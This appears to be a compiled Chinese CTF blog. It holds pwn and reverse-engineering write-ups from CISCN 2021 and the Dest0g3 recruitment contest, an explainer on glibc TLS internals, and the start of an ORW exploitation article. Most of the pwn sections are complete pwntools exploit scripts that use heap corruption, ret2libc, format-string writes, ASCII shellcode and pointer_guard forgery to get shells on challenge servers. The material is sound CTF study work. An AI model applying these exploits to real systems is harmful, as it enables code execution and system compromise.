edit(9,len(pl),pl)
#gdb.attach(p)
add()#13
add()#14
pl = p64(0x2a0+heap_base)*2+p64(0)*6
gdb.attach(p)
edit(14,len(pl),pl)

#delete(11)

itr()

'''
i = 0
while 1:
i += 1
log.warn(str(i))
try:
pwn()
except Exception:
p.close()
if(local == 1):
p = process(binary)
else:
p = remote(ip,port)
continue
'''

if __name__ == '__main__':
pwn()

re

crystal

一个python写的exe程序

使用工具解包

反编译crystal.cp39-win_amd64.pyd

根据crystal找到sub_180005240,结合right!wrong字符串看函数的逻辑

image.png

分析程序有一个hex编码功能的函数,,

是换了编码表的

image.png

查看字符串,有三个比较可疑的数字,跟进发现有间接的赋值

image.png

继续跟进这些数字

找到后面的处理

image.png

image.png

然后向前分析,

输入32位长度的字符

然后对字符进行一个切片

前半部分赋值给qword_18000F910

经过一个异或调用前面功能函数进行解码得到一串数字

然后又有一顿操作

把我们输入的后半部分进行相同的操作

异或的值发生了变化

然后对处理的数值进行验证,满足条件之后就输出,right!

根据流程写出解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
hex_table = '8ed4bc0123a567f9'#变异的hex编码表
n628 = 6282682509
n452 = 4524798713
n883 = 8835858143

def hex_encode(n):#变异的hex编码
str1 = ''
while n:
str1 += hex_table[n % 16]
n //= 16
return str1

def main_encode(num0,num4):
#主逻辑
cry = 0
a, b= 2, 1
for i in range(1, num0, 30):
for i in range(i, min(i+30, num0+1)):
num1 = n628 * i**2
cry += num1
num2 = n452 * i
cry += num2
num3 = n883 + a
cry += num3
a, b = b, a+b
crycry = hex_encode(cry).encode()
byte_cry = bytearray(crycry)
for i in range(len(byte_cry)):
byte_cry[i] ^= num4
text = byte_cry.decode()
return text

flag = main_encode(1000,7)
flag += main_encode(2000,1)
print(flag)

image.png

2021ciscn wp

PWN

login-nomal

就就就,以这样的形式输入

opt:1\r\nmsg:aaaa\r\n

分析之后发现我们只需要输入

opt:1\r\nmsg:ro0t\r\n,就可以进入2选项,然后有一个地址上的执行

就在上面写shellcode(需要时ascii的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#encoding = utf-8
import os
import sys
import time
from pwn import *
#from LibcSearcher import *

context.log_level = "debug"
context.os = 'linux'
context.arch = 'amd64'

p = remote('59.110.24.117', 44943)
#p = process('./login')
elf = ELF('./login')
libc = ELF("./libc-2.33.so")

s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\x00'))
uu64 = lambda data :u64(data.ljust(8,'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

sla('>>>','opt:1\r\nmsg:ro0t\r\n')
pl = '''
Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
'''
sla('>>>','opt:2\r\nmsg:'+pl+'\r\n')
itr()

RE

baby_tree

发现了数据

image.png

然后ast还原得到逻辑

逆向进阶,利用 AST 技术还原 JavaScript 混淆代码 - SegmentFault 思否

1
2
3
func check(encoded: String, keyValue: String){
.......
}

就是个异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
flag2 =''
flag = [88, 35, 88, 225, 7, 201, 57, 94, 77, 56, 75, 168, 72, 218, 64, 91, 16, 101, 32, 207, 73, 130, 74, 128, 76, 201, 16, 248, 41, 205, 103, 84, 91, 99, 79, 202, 22, 131, 63, 255, 20, 16]
key = [51,52,53,121]
for i in range(len(flag)-4+1):
key[0], key[1], key[2], key[3] = key[1], key[2], key[3], key[0]

for i in range(38, -1, -1):
key[1], key[2], key[3], key[0] = key[0], key[1], key[2], key[3]
r1 = flag[i+3] ^ key[3]
r0 = flag[i+2] ^ key[2]
r3 = (0xff & (key[1] + (r1 >> 2))) ^ flag[i+1]
r2 = (0xff & (key[0] + (r0 >> 4))) ^ flag[i+0]
flag[i+0], flag[i+1], flag[i+2], flag[i+3] = r0, r1, r2, r3

for n in range(len(flag)):
flag2 += chr(flag[n])
print(flag2)

Dest招新wp

一共7个pwn题做了四个,剩下三个没有libc没啥欲望

ez_aarch

覆盖低位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#encoding = utf-8
import os
import sys
import time
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.os = 'linux'
context.arch = 'aarch64'

s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\x00'))
uu64 = lambda data :u64(data.ljust(8,'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/", "./stack"])
#p = remote('node4.buuoj.cn',29270)
elf = ELF('./stack')
#libc = ELF('libc.so')

def pwn():
pl = b'a'*0x28 + p8(0x3c)
p.sendafter("Please leave your name:\n",pl)
itr()

'''
i = 0
while 1:
i += 1
log.warn(str(i))
try:
pwn()
except Exception:
p.close()
p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/", "./stack"])

'''

if __name__ == '__main__':
pwn()

ez_pwn

就就就0x4,0x4的写呗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
from LibcSearcher import *
#p = process("./ez_pwn")
context(arch="i386",os="linux")
context.log_level = "debug"
p = remote('node4.buuoj.cn',25233)
elf = ELF("./ez_pwn")
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")

s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\x00'))
uu64 = lambda data :u64(data.ljust(8,'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def num(idx):
sla("input your choice:\n",'1')
sla("input num\n",idx)

def num1(idx):
sla("input your choice:\n",'1')
p.send(idx)

hackme = 134517270
sla("input the length of array:\n",'-1')
num(1212)
num(1212)
num(1212)
num(1212)
num(1212)
num(1212)
num(1212)
num(1212)
num(1212)
num(1212)
num(99999999)
num(1)
num(17)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
num(puts_plt)
num(hackme)
num(puts_got)

sla("input your choice:\n",'4')

put_addr = ru('\xf7')[-3:]
put_addr = u32(put_addr + b'\xf7')
print(hex(put_addr))
#gdb.attach(p)

libcbase = put_addr - 0x67560
system = libcbase + 0x3cf10
binsh = libcbase + 0x17b9db
'''
libcbase = put_addr - 0x6f560
system = libcbase + 0x445f0
binsh = libcbase + 0x188406
'''
ret = 0x0804900e
print(hex(libcbase))
#gdb.attach(p)
sla("input the length of array:\n",'-1')
num(823)
num(823)
num(823)
num(823)
num(823)
num(823)
num(823)
num(823)
num(823)
num(823)
num(99999999)
num(1)
num(17)
num(ret)
system1 = -(system^0xffffffff) -1
binsh1 = -(binsh^0xffffffff)-1
num(system1)
num(1)
num(binsh1)

#gdb.attach(p)
print(ret)
print(hex(system))
print(hex(binsh))

sla("input your choice:\n",'4')
itr()

dest_love

非栈上格式化字符串漏洞,suo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context.log_level = "debug"
#p = process("./pwn")
p = remote('node4.buuoj.cn',26533)
elf = ELF("./pwn")

s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\x00'))
uu64 = lambda data :u64(data.ljust(8,'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

sla("What about your love to Dest0g3?\n",'%1$p%10$p')

ru("0x")
pie = int(r(12),16)-0x4060
print(hex(pie))
shell = pie+0x4010
stack_addr = int(r(14),16)+ 0x28-0x100
ret_addr = stack_addr
print(hex(stack_addr))
print(hex(shell))
key1 = 0x0ed8
key2 = 0x14

sla("What about your love to Dest0g3?\n",'%'+str(stack_addr&0xffff)+'c'+'%10$hn')
#gdb.attach(p)
sla("What about your love to Dest0g3?\n",'%'+str(shell&0xffff)+'c'+'%39$hn')
sla("What about your love to Dest0g3?\n",'%'+str(key1)+'c'+'%12$hn')
#gdb.attach(p)
sla("What about your love to Dest0g3?\n",'%'+str((shell&0xffff)+2)+'c'+'%39$hn')
sla("What about your love to Dest0g3?\n",'%'+str(key2)+'c'+'%12$hn')
#gdb.attach(p)

p.interactive()

ez_kiwi

没啥说的就是kiwi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#encoding = utf-8
import os
import sys
import time
from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.os = 'linux'
context.arch = 'amd64'

s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\x00'))
uu64 = lambda data :u64(data.ljust(8,'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

#p = process([b"./ld-2.31.so", b"./ez_kiwi"], env={"LD_PRELOAD":b"./libc.so.6"})
#p = process('./ez_kiwi')
p = remote('node4.buuoj.cn',27934)
elf = ELF("./ez_kiwi")
libc = ELF('./libc.so.6')

def choice(cho):
sla('>> ',(cho))

def add(idx,size,content):
choice(1)
sla('How much do you want?\n',size)
sla('Which one do you want to put?\n',idx)
p.sendlineafter('Tell me your idea:\n',content)

def delete(idx):
choice(2)
sla('Which one do you want to remove?\n',idx)

def show(idx):
choice(3)
sla('Which one do you want to look?',idx)

def edit(idx,content):
choice(4)
sla('Which one do you want to change?',idx)
p.sendlineafter('Change your idea:\n',content)
def chunk():
choice(666)

def pwn():
sla("Before the game starts, please give me your name:\n",'bpc')
add(0,0xf8,'')
add(1,0xf8,'')
delete(1)
delete(0)
add(0,0xf8,'')
#gdb.attach(p)
show(0)
ru('\x20')
heap_base = u64((ru('\x20')[-6:]).ljust(8,b'\x00'))-0x30a
delete(0)
for i in range(7):
add(i,0xf8,str(i))
add(7,0xf8,'7')
add(8,0xf8,'8')
add(9,0xf8,'9')
for i in range(7):
delete(i)
delete(8)
delete(7)
add(7,0x10,'')
show(7)
libcbase = u64((ru('\x7f')[-5:]+b'\x7f').ljust(8,b'\x00'))-0x1ebd0a
system = libcbase + libc.sym['system']
stderr = libcbase + libc.sym['_IO_2_1_stderr_']
jumps = libcbase + 0x1ed4a0+0x60
top_chunk = heap_base+0xdc8
print('libc_base='+hex(libcbase))
print('topchunk='+hex(top_chunk))
delete(7)
add(7,0xf8,'7')
add(8,0xf8,'8')
for i in range(7):
add(i,0xf8,str(i))
for i in range(7):
delete(i)
pl = p64(0)+p64(0xf1)
pl += p64(heap_base+0x7d0)+p64(heap_base+0x7d0)
pl = pl.ljust(0xf0,b'\x00')
pl += p64(0xf0)
edit(8,pl)
delete(7)
for i in range(8):
add(i,0xf8,str(i))
delete(6)
delete(7)
pl = p64(0)+p64(0x100)+p64(jumps)
edit(8,pl)
add(6,0xf8,'a')
add(7,0xf8,p64(system))
delete(5)
delete(6)
pl = p64(0)+p64(0x100)+p64(stderr)
edit(8,pl)
add(5,0xf8,'a')
add(6,0xf8,'/bin/sh\x00')
delete(4)
delete(5)
pl = p64(0)+p64(0x100)+p64(top_chunk)
edit(8,pl)
add(4,0xf8,'a')
add(5,0xf8,p8(0))
#gdb.attach(p)
chunk()
itr()

'''
i = 0
while 1:
i += 1
log.warn(str(i))
try:
pwn()
except Exception:
p.close()
if(local == 1):
p = process(binary)
else:
p = remote(ip,port)
continue
'''

if __name__ == '__main__':
pwn()

re1

1
2
3
4
5
6
v4 = [ 0xB3, 0x91, 0x82, 0x80, 0xC3, 0x9B, 0xCE, 0x75, 0xCF, 0x9C,0x9A, 0x85,0x85, 0xCD, 0xB8, 0x84, 0xAA, 0x7D, 0xBD, 0xBB,0xB1, 0xB5, 0x96, 0x71, 0x8D, 0x9E, 0x86, 0xBF, 0x73, 0xA8,0xA3, 0x9C, 0x83, 0x65, 0x9E, 0x57]
flag = ''
for i in range(len(v4)):
flag+=chr((v4[i]^0xf7)-i)
print(len(v4))
print(flag)

Glibc TLS结合源码的分析

前言

一直没学过这个,在学习glibc2.34下的emma利用中有一个相关的节点,利用largebin attack将fs:0x30中的guard修改。其实我并不知道这个东西是啥只是看这wjh👴的文章一点一点的去复现。所以来了解一下,emmmm,理由十分牵强。这篇只是一个概述,之后会对TLS安全进行一个更详细的分析,

TLS的简单介绍

TLS的全称为Thread Local Storage,是一种线程独占的本地空间,在TLS之前只能使用pthread_getspecific以及pthread_setspecific函数来存储线程的储存,这种方法效率不高,在TLS出现之后我i们就可以用__thread关键字来告知编译器某一个变量应当被放在TLS,而且只需要几条汇编指令就可以访问到变量。

网上piao一个师傅的实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <pthread.h>
#include <stdio.h>

static __thread int a = 12345; // 0x3039
__thread unsigned long long b = 56789; // 0xddd5
__thread int c;

void try(void *tmp) {
printf("try: a = %lx, b = %llx, c = %s\n", a, b, &c);
return;
}

int main(void) {
a = 0xdeadbeef;
b = 0xbadcaffe;
c = 0x61616161;
printf("main thread: a = %lx, b = %llx, c = %s\n", a, b, &c);
pthread_t pid;
pthread_create(&pid, NULL, try, NULL);
pthread_join(pid, NULL);
return 0;
}

使用gcc tls.c -pthread -g -o tls进行编译运行代码

我们发现运行之后的结果是这样的

image.png

这就体现了TLS的强大之处了,__thread解释之后虽然abc是全局变量,并且在main函数当中进行了数值的覆盖,但是在thread中还是原来的数值,所以我们猜测thread是利用另外的一套存储数据的结构来实现的这种线程上的独立。我们在用gdb调试一下这个程序

image.png

我们vmmap之后发现是程序给tls留出了一个另外的存储数据段,查看数据section的时候程序中多出了两个数据段.todata、.tbss这两个数据段中存储的是thread中的数据就是我们声明的全局变量TLS中的abc。我们继续运行程序看看。

我们发现在try中的printf中传参使用的地址是fs的

image.png

Glibc的TLS实现

去巴拉巴拉源码吧,

非主线程情形
TCB结构体以及static TLS的空间分配

在函数pthread_create 中存在下面一条调用链:

1
pthread_create -> ALLOC_STACK

ALLOCATE_STACK函数通过下面的操作来为新线程分配栈:

我们可以发现,新栈的底部被分配了一个容纳pd结构体的空间,该结构体的类型为struct pthread,我们称其为一个thread descriptor,该结构体的第一个域被称为tchhead_t类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
mem = __mmap (NULL, size, (guardsize == 0) ? prot : PROT_NONE, MAP_PRIVATE  MAP_ANONYMOUS  MAP_STACK, -1, 0);
/* 使用mmap函数来分配一块匿名映射来作为我们的新栈 */
/* !!! omitted some code !!! */
/* 将thread descriptor(pd指针指向的结构体)放到新栈的栈底 */
pd = (struct pthread *) ((((uintptr_t) mem + size)
- TLS_TCB_SIZE)
& ~__static_tls_align_m1);
/* 进行这一步操作后内存布局如下:
*
* TLS_TCB_SIZE
* ^
* +-----------+----------+
*
* ---------------------+----------------------------+
*
* pad
*
* ---------------------+----------------------------+
* ^ ^
* + +
* pd mmap area end
*
*/

/* !!! omitted some code !!! */

/* Allocate the DTV for this thread. */
if (_dl_allocate_tls (TLS_TPADJ (pd)) == NULL)
{
/* Something went wrong. */
assert (errno == ENOMEM);

/* Free the stack memory we just allocated. */
(void) __munmap (mem, size);

return errno;
}

tchhead_t类型,其定义如下:

这就是我们之前提到的TCB结构体的具体实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
unsigned long int vgetcpu_cache[2];
/* Bit 0: X86_FEATURE_1_IBT.
Bit 1: X86_FEATURE_1_SHSTK.
*/
unsigned int feature_1;
int __glibc_unused1;
/* Reservation of some values for the TM ABI. */
void *__private_tm[4];
/* GCC split stack support. */
void *__private_ss;
/* The lowest address of shadow stack, */
unsigned long long int ssp_base;
/* Must be kept even if it is no longer used by glibc since programs,
like AddressSanitizer, depend on the size of tcbhead_t. */
__128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));

void *__padding[8];
} tcbhead_t;
父线程TCB的继承
1
2
3
4
5
6
7
8
9
  /* Copy the stack guard canary.  */
#ifdef THREAD_COPY_STACK_GUARD
THREAD_COPY_STACK_GUARD (pd);
#endif

/* Copy the pointer guard value. */
#ifdef THREAD_COPY_POINTER_GUARD
THREAD_COPY_POINTER_GUARD (pd);
#endif

在栈分配之后,我们在pthread函数中看到了上面的代码。将宏展开之后可以看到下面的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/* Read member of the thread descriptor directly.  */
# define THREAD_GETMEM(descr, member) \
({ __typeof (descr->member) __value; \
if (sizeof (__value) == 1) \
asm volatile ("movb %%fs:%P2,%b0" \
: "=q" (__value) \
: "0" (0), "i" (offsetof (struct pthread, member))); \
else if (sizeof (__value) == 4) \
asm volatile ("movl %%fs:%P1,%0" \
: "=r" (__value) \
: "i" (offsetof (struct pthread, member))); \
else \
{ \
if (sizeof (__value) != 8) \
/* There should not be any value with a size other than 1, \
4 or 8. */ \
abort (); \
\
asm volatile ("movq %%fs:%P1,%q0" \
: "=r" (__value) \
: "i" (offsetof (struct pthread, member))); \
} \
__value; })

# define THREAD_COPY_STACK_GUARD(descr) \
((descr)->header.stack_guard \
= THREAD_GETMEM (THREAD_SELF, header.stack_guard))

不难看出,这一段的作用是将父进程的canary复制到当前进程的TCB结构体中。事实上,在fs寄存器尚未被改变之前,其中存放着父进程的TCB地址,我们可以使用THREAD_SELF宏来获取父线程的TCB指针:

1
2
3
4
5
# define THREAD_SELF \
({ struct pthread *__self; \
asm ("mov %%fs:%c1,%0" : "=r" (__self) \
: "i" (offsetof (struct pthread, header.self))); \
__self;})
dtv实现简介

我们沿着调用链找到了dtv数组以及TLS Blocks的具体实现。首先查看dtv_t类型的定义:

1
2
3
4
5
6
7
8
9
10
11
12
struct dtv_pointer
{
void *val; /* Pointer to data, or TLS_DTV_UNALLOCATED. */
void *to_free; /* Unaligned pointer, for deallocation. */
};

/* Type for the dtv. */
typedef union dtv
{
size_t counter;
struct dtv_pointer pointer;
} dtv_t;

可以看到该类型是一个联合,其值有可能是一个counter,该counter在dtv[-1]以及dtv[0]这个成员使用,标志dtv数组中的入口个数;其值也有可能是一个dtv_pointer结构体,其中的成员指向一个TLS Block。

image.png

需要注意的是dtv使用module ID作为索引,程序装载的每一个module都会有一个module ID,这个值存在于这个module对应的link_map结构体中,该结构体中的相关成员如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
    /* 与TLS有关的内容  */

/* TLS segment的起始地址,TLS segment由两部分组成,分别是tdata和tbss,存放初始化和未初始化的全局变量
* 该segment在module被装载的时候映射的内存中,作为每一个线程初始化TLS Blocks时的模版 */
void *l_tls_initimage;
/* TLS segment在文件中的大小(仅.tdata的大小) */
size_t l_tls_initimage_size;
/* TLS segment在内存中的大小(.data加上.tbss的大小)*/
size_t l_tls_blocksize;
/* TLS Block的对齐标准 */
size_t l_tls_align;
/* 符合对齐要求的第一个字节的偏移 */
size_t l_tls_firstbyte_offset;
#ifndef NO_TLS_OFFSET
# define NO_TLS_OFFSET 0
#endif
#ifndef FORCED_DYNAMIC_TLS_OFFSET
# if NO_TLS_OFFSET == 0
# define FORCED_DYNAMIC_TLS_OFFSET -1
# elif NO_TLS_OFFSET == -1
# define FORCED_DYNAMIC_TLS_OFFSET -2
# else
# error "FORCED_DYNAMIC_TLS_OFFSET is not defined"
# endif
#endif
/* 对于程序加载时就装载了的模块,该变量标示本模块对应的TLS Block在static TLS中的偏移. */
ptrdiff_t l_tls_offset;
/* 本模块在dtv数组中的索引 */
size_t l_tls_modid;

/* 由该动态链接库构造的tls变量的数量 */
size_t l_tls_dtor_count;
dtv数组的空间分配

可以看到如下调用

1
pthread_create -> ALLOC_STACK -> _dl_allocate_tls -> allocate_dtv ->  _dl_allocate_tls_init

程序在allocate_dtv函数中为dtv数组分配空间:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static void *
allocate_dtv (void *result)
{
dtv_t *dtv;
size_t dtv_length;

dtv_length = GL(dl_tls_max_dtv_idx) + DTV_SURPLUS;
dtv = calloc (dtv_length + 2, sizeof (dtv_t));
if (dtv != NULL)
{
/* dtv长度的初始值 */
dtv[0].counter = dtv_length;

/* dtv的余下部分被初始化为0,来表示这里什么也没有 */

/* 将dtv加入到线程描述符中 */
INSTALL_DTV (result, dtv);
}
else
result = NULL;

return result;
}

申请了一块区域赋值给dtv,然后利用一些宏进行一波操作,将宏展开之后是这样的

1
(tcbhead_t *) (result))->dtv = (dtv) + 1

到这里TCB中指向的dtv数组的空间已经被成功分配。

static TLS以及fs的初始化

下面我们来看_dl_allocate_tls_init函数中进行的初始化工作: 从宏观上来说,该函数进行了一次对link_map的遍历,并且对于link_map链表中的每一个节点(对应一个模块)都进行了如下操作:

1
2
3
4
5
6
7
8
9
10
/* result指针指向TCB结构体, map为link map的一个节点 */
dest = (char *) result - map->l_tls_offset;

/* 设置DTV entry,一些平台在静态链接的程序中使用的简化版的__tls_get_addr需要这个值 */
dtv[map->l_tls_modid].pointer.val = dest;

/* 复制初始镜像,并将bss段清零 */
memset (__mempcpy (dest, map->l_tls_initimage,
map->l_tls_initimage_size), '\0',
map->l_tls_blocksize - map->l_tls_initimage_size);

对每一个module进行这一步操作后,(不考虑dlopen,dlfree)我们的TLS已经被初始化完成了。这时我们还留有最后一个疑问:谁设置了fs寄存器? 我们知道,fs寄存器是用户态程序无法设置,我们只能通过系统调用进行设置。因此我们使用strace -f ./tls命令来跟踪程序执行中的系统调用,如我们所料,我们在clone系统调用中发现了如下参数

1
clone(child_stack=0x7fa882eeffb0, flags=CLONE_VMCLONE_FSCLONE_FILESCLONE_SIGHANDCLONE_THREADCLONE_SYSVSEMCLONE_SETTLSCLONE_PARENT_SETTIDCLONE_CHILD_CLEARTID, parent_tid=[37577], tls=0x7fa882ef0700, child_tidptr=0x7fa882ef09d0) = 37577

进而查找glibc中pthread_create函数对clone的调用,我们找到如下调用链在TCB被设置之后完成:

1
pthread_create -> create_thread -> clone syscall

clone处的代码为:

1
2
3
4
5
6
7
8
9
10
11
12
  const int clone_flags = (CLONE_VM  CLONE_FS  CLONE_FILES  CLONE_SYSVSEM
CLONE_SIGHAND CLONE_THREAD
CLONE_SETTLS CLONE_PARENT_SETTID
CLONE_CHILD_CLEARTID
0);

TLS_DEFINE_INIT_TP (tp, pd);

if (__glibc_unlikely (ARCH_CLONE (&start_thread, STACK_VARIABLES_ARGS,
clone_flags, pd, &pd->tid, tp, &pd->tid)
== -1))
return errno;

有调用链:

1
clone -> _do_fork -> copy_process -> copy_thread_tls -> do_arch_prctl_64

TLS安全机制

stack canary

我们熟悉的canary机制就是源于这里,我们在做题的时候查看汇编会发现我们查看stack的时候是取用的fs:0x28中的内容。

pointer guard

这种东西就是我学习TLS的目的,这是一个我们经常会忽略的一个保护机制,先看一下相关宏

1
2
3
4
5
6
7
8
9
10
11
12
13
#  define PTR_MANGLE(var)   asm ("xor %%fs:%c2, %0\n"             \
"rol $2*" LP_SIZE "+1, %0" \
: "=r" (var) \
: "0" (var), \
"i" (offsetof (tcbhead_t, \
pointer_guard)))
# define PTR_DEMANGLE(var) asm ("ror $2*" LP_SIZE "+1, %0\n" \
"xor %%fs:%c2, %0" \
: "=r" (var) \
: "0" (var), \
"i" (offsetof (tcbhead_t, \
pointer_guard)))
// 64位情况下,LP_SIZE为0x10

可以看到这两个宏利用pointer_guard分别对指针进行了加密和解密操作,加密由一次异或以及一次bitwise rotate组成。加密使用的key来自fs:[offsetof(tcbhead_t, pointer_guard)]。接下来我们将对加密和解密的脆弱性进行解析。 利用pointer_guard进行加密的过程可以表示为rol(ptr ^ pointer_guard, 0x11, 64),解密的过程为ror(enc, 0x11, 64) ^ pointer_guard。那么假设现在我们知道了enc和ptr两个值,我们就可以通过这个算式来计算出pointer_guard(64位情况):

1
pointer_guard = ror (enc, 0x11, 64) ^ ptr 

同时假设我们获得了对pointer_guard的任意写,并且已知会调用一个函数指针enc,以及恶意地址evil_ptr,我们可以通过修改pointer_guardevil_guard来将解密后的指针导向恶意地址,转换关系如下:

1
evil_guard = ror (enc, 0x11, 64) ^ evil_ptr

TLS的相关攻击

TLS读写方法(这是一个师傅尝试的

  • 主线程情形

    • 在libc地址已经泄露的情况下对libc地址加上某个特定的偏移,利用任意地址读写直接操作TCB结构(这里我们假定libc与TLS之间的偏移是固定的)
    • 通过栈泄露pointer_guard以及canary(通常适用于格式化字符串攻击,根据cnitlrt师傅提供的思路,在堆题中可以将__free_hook劫持为printf函数,注意前面说过,这两组数据在栈中存在一份副本,并且Auxiliary Vector中存在指向它们的指针))
    • 通过泄露libc中已经利用pointer_guard加密过的函数地址(如_dl_fini,其加密后的地址在__exit_funcs数组中,真实的地址可以用libc基地址计算得到),然后利用真实地址进行逆运算解出pointer_guard
    • 修改global_max_fast然后通过free一个较大的chunk来将该chunk的地址写入到canary或者pointer_guard中)。
  • 非主线程情形:

    • 因为这时TCB结构体也在栈上。对于一个足够长的栈溢出,我们很容易覆盖tack_guard以及pointer_guard。注意static TLS在此种情况下是位于TCB结构体之前的,也就是说我们可以同时覆盖一些TLS变量。后面我们会给出具体的例子来介绍这种利用方式。

具体攻击路径

  1. 由于tcache是一个TLS变量,且该变量没有任何保护,可以写tcache来劫持整个tcache链表。
  2. 泄露pointer_guard后可以劫持exit函数的流程,可以劫持__exit_funcs数组来执行函数列表,但这种方法只能控制一个函数参数。
  3. 同样是泄露pointer_guard,但之后可以劫持tls_dtor_list(主线程情形需要任意地址写,非主线程需要任意地址写或者栈溢出),进而构造dtor_list结构体控制rdiobj域)和rdxnext域),进而利用setcontext+53来进行SROP。 此方法适用于目前所有主流libc版本
  4. 在任意地址写情况下,如果已知一个确切的利用pointer_guard解密指针的位置(如printf函数中就存在这样的调用),可以通过修改pointer_guard来使解密后的函数指针指向one_gadget,进而getshell。
  5. 泄露或写入stack_canary来绕过canary机制(注意主线程的stack_canary和子线程的一样,并且修改主线程的stack_canary之后创建的子线程的canary也会被修改)

高版本orw利用方法总结

前言

要国赛了,打几个题仔细分析复习一下,找了个题,跟着网上的wp进行一把复现,三种解法。

逆向分析

开启了沙盒,保护全开

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+Ch] [rbp-4h]

((void (__fastcall *)(__int64, char **, char **))((char *)&sub_1368 + 1))(a1, a2, a3);// s3,开启了沙盒
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
nemu();
v4 = input();
if ( v4 > 1 )
break;
birth_to_child();
}
if ( v4 > 4 )
break;
if ( v4 <= 2 )
{
creat_child_name();
}
else if ( v4 == 3 )
{
show_name();
}
else
{
rm_child();
}
}
if ( v4 != 666 )
break;
sub_1AB0();
}
if ( v4 == 5 )
{
